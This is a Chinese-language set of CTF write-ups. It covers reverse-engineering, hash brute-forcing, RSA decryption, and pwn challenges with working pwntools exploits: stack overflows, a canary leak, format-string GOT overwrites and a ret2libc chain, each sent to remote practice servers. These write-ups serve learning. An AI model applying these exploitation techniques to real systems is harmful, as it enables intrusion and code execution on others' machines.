1. 先用IDA打开,无main函数,查字符串
    1

  2. 先进入个关键词
    2

​ 解码:

3

4

发现是干扰项

  1. 进入第二个关键词所在函数

    5

​ 在汇编界面,找到v12
6

​ 逆向运算得到v15

 
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
#include<stdio.h>
#include<string.h>
#include<stdlib.h>
int main(){
char v15[]={0x49,
0x6F,
0x64,
0x6C,
0x3E,
0x51,
0x6E,
0x62,
0x28,
0x6F,
0x63,
0x79,
0x7F,
0x79,
0x2E,
0x69,
0x7F,
0x64,
0x60,
0x33,
0x77,
0x7D,
0x77,
0x65,
0x6B,
0x39,
0x7B,
0x69,
0x79,
0x3D,
0x7E,
0x79,
0x4C,
0x40,
0x45,
0x43};
int i;
char result[strlen(v15)];
for ( i = 0; i < strlen(v15); ++i ){
result[i] =v15[i] ^ i;
}
printf("%s",result);
}

得到

7

到这里后没什么线索了,就在能再去找了
发现可疑字符串

8

进入函数

9

根据前面的提示,前4个字符是flag,猜测这个函数大概的意思就是v1分别和byte_6CC0A0和byte_6CC0A3的前四个字符异或是flag,就进行第二个循环,先可以编写解题脚本了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
#include<stdio.h>
#include<string.h>
#include<stdlib.h>
int main(){
char byte_6CC0A0[]={
0x40,0x35,0x20,0x56, 0x5D, 0x18, 0x22, 0x45, 0x17, 0x2F, 0x24, 0x6E, 0x62,
0x3C, 0x27, 0x54, 0x48, 0x6C, 0x24, 0x6E, 0x72, 0x3C, 0x32,
0x45, 0x5B
};
int i,j;
char flag[] = "flag";
char flag2[4];
char result[strlen(byte_6CC0A0)];
for(i = 0;i < 4; i++){
flag2[i] = flag[i] ^ byte_6CC0A0[i];
}
for ( i = 0; i < strlen(byte_6CC0A0); ++i ){
j = i%4;
result[i] = flag2[j] ^ byte_6CC0A0[i];
}
printf("%s",result);
}
1
flag{Act1ve_Defen5e_Test}

  1. 用IDA打开

    1

2

  1. 思路基本就是利用栈溢出,执行good_game函数。

  2. 但是有一点,这个汇编可以看到没leave。可以和rip对比一下
    本题无leave

    3

​ rip有leave
4

无leave的话就不用加0x08,直接0x88就可以了

  1. 编写exp

    1
    2
    3
    4
    5
    6
    7
    from pwn import *
    #r = process('./pwn')
    r = remote("node5.buuoj.cn", 29720)
    getshell = 0x400620
    payload_1 = b'a'*(0x88) + p64(getshell)
    r.sendline(payload_1)
    r.interactive()
  2. 得到flag
    5

  1. 先用IDA打开分析一下
    1

  2. 哈希值的加密方式可以根据这个

  3. 先用脚本爆破password1

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    import hashlib

    # 目标哈希值
    target_hash = '6E32D0943418C2C33385BC35A1470250DD8923A9'

    # 固定字符串部分
    fixed_str = '@DBApp'

    # 数字范围
    start_num = 99999
    end_num = 1000000

    # 暴力搜索
    for num in range(start_num, end_num):
    # 将数字转换为字符串并与固定字符串拼接,然后计算其SHA-256哈希值
    test_str = str(num) + fixed_str
    hash_object = hashlib.sha1(test_str.encode())
    if hash_object.hexdigest().upper() == target_hash:
    print(f"找到匹配的字符串: {test_str}")
    break
    else:
    print("未找到匹配的字符串")
    1
    找到匹配的字符串: 123321@DBApp
  4. 因为第二个恰好是MD5加密有在线网站

    2

  5. 再运行exe
    3

​ 由此可知会产生一个dbapp.rtf文件,打开

4

1
Flag{N0_M0re_Free_Bugs}

re

  1. 查壳发现是upx

  2. 用upx工具脱壳

  3. 进入IDA看到
    1

  4. 这题简单a1就是flag,附上脚本

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    def calculate_a1_to_string():
    # 定义所有的乘数和期望结果
    multipliers = [1629056, 6771600, 3682944, 10431000, 3977328, 5138336, None,
    7532250, 5551632, 3409728, 13013670, 6088797, 7884663, 8944053,
    5198490, 4544518, 10115280, 3645600, 9667504, 5364450,
    13464540, 5488432, 14479500, 6451830, 6252576, 7763364,
    7327320, 8741520, 8871876, 4086720, 9374400, 5759124]
    results = [166163712, 731332800, 357245568, 1074393000, 489211344, 518971936,
    None, 406741500, 294236496, 177305856, 650683500, 298351053,
    386348487, 438258597, 249527520, 445362764, 981182160, 174988800,
    493042704, 257493600, 767478780, 312840624, 1404511500, 316139670,
    619005024, 372641472, 373693320, 498266640, 452465676, 208422720,
    515592000, 719890500]

    a1 = []
    for i in range(len(multipliers)):
    if multipliers[i] is None: # 对于a1[6],我们不知道具体的乘数,所以这里可以随意设置一个值或者保持为None
    a1.append('?') # 在此位置添加一个占位符
    else:
    value = results[i] // multipliers[i] # 计算出正确的a1[i]值
    try:
    char = chr(value) # 将数值转换为对应的字符
    except ValueError:
    char = '?' # 如果值不在有效的ASCII范围内,则使用'?'作为占位符
    a1.append(char)

    # 将数组转换为字符串格式
    return ''.join(a1)


    print(calculate_a1_to_string())

    由于a1[6]不知道先设成’?’,在一个个试,最后试出来是1

    得到flag

    1
    flag{e165421110ba03099a1c039337}

ctfshow pwn98

  1. 由题目意思:Canary?有没有办法绕过呢?知道有canary

  2. 有IDA打开
    1

​ 存在格式化字符串漏洞

  1. 计算偏移量

    2

偏移值是5,在计算一下s到返回地址的是0x34,所以(0x34-canary)/4 + 5 = a,a就是最终的偏移量,不了解canary的可以看这篇文章

  1. 接着找canary
    3

​ a = (0x34-0x0c)/4 + 5 = 15

  1. 开始写exp

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    from pwn import *
    #r = process('./pwn')
    r = remote("pwn.challenge.ctf.show", 28195)
    getshell = 0x80486ce
    payload_1 = b'%15$x'
    r.recv()
    r.sendline(payload_1)
    canary = int(r.recv(),16) #canary = int(r.recv(8),16)
    print(hex(canary))
    payload_2 = b'a' * (0x34 - 0xc) + p32(canary) + b'a' * 0xc + p32(getshell)
    r.send(payload_2)
    r.interactive()
  2. 得到flag
    4

pwn94(格式化字符串)

  1. 先用IDA打开,可以利用格式化字符串漏洞
    1

  2. 找到system函数
    2

  3. 找到偏移量为6
    3

  4. 构造exp

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    from pwn import *
    #context(arch='i386',os='linux',log_level='debug')
    elf = ELF('./pwn')
    offset = 6
    p = remote('pwn.challenge.ctf.show', 28175)
    printf_got = elf.got["printf"]
    sys_plt = elf.plt["system"]
    #把printf_got换成sys_plt,当执行printf的时候实实际在执行system函数
    payload = fmtstr_payload(offset,{printf_got:sys_plt})
    p.sendline(payload)
    p.send("bin_sh")
    p.interactive()
  5. 得到flag
    4

jarvisoj_fm

  1. 首先可以去了解一下格式化话字符串漏洞看看佬的博客

  2. 可以利用格式化字符串漏洞
    1

  3. 先查看偏移量(aaaa与0x61616161之间的距离,0x61是a的ASCII值)

    1
    aaaa %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p

    2

  4. 查找x的地址
    3

  5. 构造exp.py

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    from pwn import *
    #context(arch='i386',os='linux',log_level='debug')
    elf = ELF('./fm')

    p = remote('node5.buuoj.cn', 26501)

    x = 0x0804A02C
    payload = p32(x)+b"%11$hhn"
    p.sendline(payload)
    p.interactive()
  6. 得到flag
    4

rsa

1.先了解rsa加密是什么rsa

2.打开pub_key(就是公钥),用在线网站可以得到n和e

1

3.再用在线网站,得到p和q。

首先给出的n(C0332C5C64AE47182F6C1C876D42336910545A58F7EEFEFC0BCAAF5AF341CCDD)是16进制,换成十进制

2

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
import gmpy2
import rsa

# 已知的RSA参数
e = 65537
n = 86934482296048119190666062003494800588905656017203025617216654058378322103517
p = 285960468890451637935629440372639283459
q = 304008741604601924494328155975272418463

# 计算φ(n)
phi_n = (p - 1) * (q - 1)

# 计算私钥d
d = int(gmpy2.invert(e, phi_n))

# 使用p, q, e, d生成私钥对象
private_key = rsa.PrivateKey(n, e, d, p, q)

try:
# 加载密文
with open('D:\\桌面\\41c4e672-98c5-43e5-adf4-49d75db307e4\\output\\flag.txt', "rb") as file:
ciphertext = file.read()

# 尝试解密
decrypted_message = rsa.decrypt(ciphertext, private_key)
print("解密后的消息: ", decrypted_message.decode())

except rsa.DecryptionError as de:
print("解密失败: 解密错误 - ", str(de))
except Exception as e:
print("解密失败: 其他错误 - ", str(e))

解得flag

1
flag{decrypt_256}

pwn31

  1. 先用IDA打开,并分析

    1

2

2.在用checksec检查一下
3

3.首先我们可以用泄露的main地址减去真实的main地址,就可以得到偏移值
4.我们先可以通IDA找到偏移值

6

5.通过got表中puts函数的地址打印出puts函数真实的地址
6.泄露出puts的地址,因为,在ctfshow函数了,函数的最后有一个mov ebx,DWORD PTR[ebp-0x4]
那么ebx是怎么得来的呢?是通过__x86.get_pc_thunk.bx这个东西得来的,这个东西的作用是将下一条指令的地址赋给ebx寄存器,然后通过加上一个偏移,得到当前进程GOT表的地址,并以此作为后续操作的基地址。这个pwn程序的GOT表地址为0x1fc0,则ebx = base_addr + 0x1fc0,这个是摘取大佬的wp
5

7.先查pwn的got表的地址
4

8.然后就可以编写payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
from pwn import*
from LibcSearcher import*
r = remote("ip",端口)
#r = process("./pwn")
elf=ELF("./pwn")
main_real_addr= int(r.recv().strip(),16)
print(hex(main_real_addr))
base_addr = main_real_addr - elf.sym["main"]
puts_plt = base_addr + elf.sym["puts"]
puts_got = base_addr + elf.got["puts"]
ctfshow_addr = base_addr + elf.sym["ctfshow"]
ebx = base_addr + 0x1fc0
payload1 = b'A'*132 + p32(ebx) + b'B'*4 + p32(puts_plt) + p32(main_real_addr) + p32(puts_got)
r.sendline(payload1)
puts_addr = u32(r.recv()[0:4])
libc = LibcSearcher("puts",puts_addr)
libc_base = puts_addr - libc.dump("puts")
system = libc_base + libc.dump("system")
bin_sh = libc_base + libc.dump("str_bin_sh")
payload2 = b'a'*140 + p32(system) + p32(ctfshow_addr) + p32(bin_sh )
r.sendline(payload2)
r.interactive()

得到flag
7

[watevrCTF 2019]esreveR

1.用IDA打开发现有问题,就放入010看了一下,发现ELF文件

  • 1.可以改后缀
  • 2.可以选择IDA的打开方式

2.打开后发现前的函数几乎都是类似

1
return 2 * a1 + 3 * (a1 ^ 0x107503DE) - a1;

的运算。
3.因此接着看到输入和判断的部分
1

再进入sub_55BAA98012D8
4.2

再进入sub_55BAA9800BA0
5.3

在linux上动调随便输入可以看到IDA中

4

6.将框里的(下面还有)提出来以字符串的形式输出

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
#include <stdio.h>
#include<string.h>
#include<stdlib.h>

int main() {
char a[] = {0x7B,0x65,
0x73,
0x72,
0x65,
0x76,
0x65,
0x72,
0x5F,
0x72,
0x65,
0x76,
0x65,
0x72,
0x73,
0x65,
0x64,
0x5F,
0x79,
0x6F,
0x75,
0x74,
0x75,
0x62,
0x65,
0x2E,
0x63,
0x6F,
0x6D,
0x2F,
0x77,
0x61,
0x74,
0x63,
0x68,
0x3F,
0x76,
0x3D,
0x49,
0x38,
0x69,
0x6A,
0x62,
0x34,
0x5A,
0x65,
0x65,
0x35,
0x45,
0x7D};
printf("%s",a);
return 0;
}
1
flag{esrever_reversed_youtube.com/watch?v=I8ijb4Zee5E}